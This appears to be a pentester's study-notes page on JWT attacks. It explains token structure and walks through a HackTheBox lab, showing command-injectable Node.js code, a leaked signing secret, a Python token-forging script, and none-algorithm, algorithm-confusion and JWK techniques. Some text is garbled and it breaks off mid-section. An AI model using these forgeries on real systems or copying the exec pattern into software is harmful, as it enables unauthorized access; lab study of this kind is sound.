JSON Web token
Many applications use JSON Web Tokens (JWT) to allow the client to indicate its identity for further exchange after authentication.
What is a JSON Web Token or JWT
JWTs are a secure, compact way to transmit information between parties. They're digitally signed, ensuring data integrity and authenticity. First what is JSON? JSON is a lightweight data interchange format that's easy to read and write.
Header
The header is made of the token type which is JWT and the algorithm used like HMAC, SHA256 or RSA.

Payload
Contain predefined claims which can be manipulated, they are statement about an entity which is usually the user. There are 3 types of claims: registered, public and private.

Signature - Generated by hashing header and
The first two parts: header and payloads wil not be encoded but not encrypted, anoyone can decode, read but also tamper with. The signatrue is created using the header, payload and the secret which is saved on the server. This is called signing the Json web token.
The signing alorithm takes the header, payload and secret to create a unique signature.

Forging a JWT for unauthorized acces
For this we are using the Hackthebox Secret machine . We find a .logs file with the following code which was vulnerable for command injection because it builds a string with user input and is then passed to exec. It starts at the const getLogs
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
Creating a json token is done with the variables found in a login file
router.post('/login', async (req , res) => {
<SNIP>
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email},
process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
})
And with the secret in this: gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
You can either craft it manually using burp or curl but http://jwt.io is a nice website for doing this. Changing the name to "theadmin"

Sending the request we get a response as admin, and simply by changing the name to theadmin user which had admin role we are now logged in as admin user.

For practice I wrote this simple python script which will take username and secret as input and then encode the new key.
import jwt
def create_token(payload):
secret = input('Secret: ')
algorithm = 'HS256'
# Uses jwt module to ecode jwt with payload, secret an alg.
token = jwt.encode(payload, secret, algorithm=algorithm)
return token
def json_payload():
name = input('Name: ')
# json token payload
payload = {
'_id': '67221de57376db047c259cc8',
'name': name,
'email': '[email protected]',
'iat': 1730289242
}
return payload
# Json function into variable payload
payload = json_payload()
# Call create_token function using payload function
print("\nAdmin token: ", create_token(payload))

JWT None algorithm attack
We can use cyberchef and use JWT Sign with none algorithm. It could be the web app accpts a token without signature.

Algorithm Confusion
Here a different algorithm is used then the one that was used to make the token. For example when a token algorithm is RS256 a private and public key is used. We can use the public key to generate a token and change to algorithm to HS256.
# install rsa_sign2n
git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n/standalone/
docker build . -t sig2n
# Run
docker run -it sig2n /bin/bash
Then insert 2 JWT's signed with same public key
python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZsdfsfsmFsc2UsImV4cCI6MTcxMTI3MTkyOX0.<SNIP> eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsIsdfsdmV4cCI6MTcxMTI3MTk0Mn0.<SNIP>
Check for the pem file *_509.pem. Use that public key to create a new token in cyberchef.

JWK Exploit
When jwk is used its possible to forge a JWT using these details, by using script below, but first generate keys
openssl genpkey -algorithm RSA -out private.pem -pkeyopt rsa_keygen_bits:2048
mczopenssl rsa -pubout -in private.pem -out public.pem
Last updated
Was this helpful?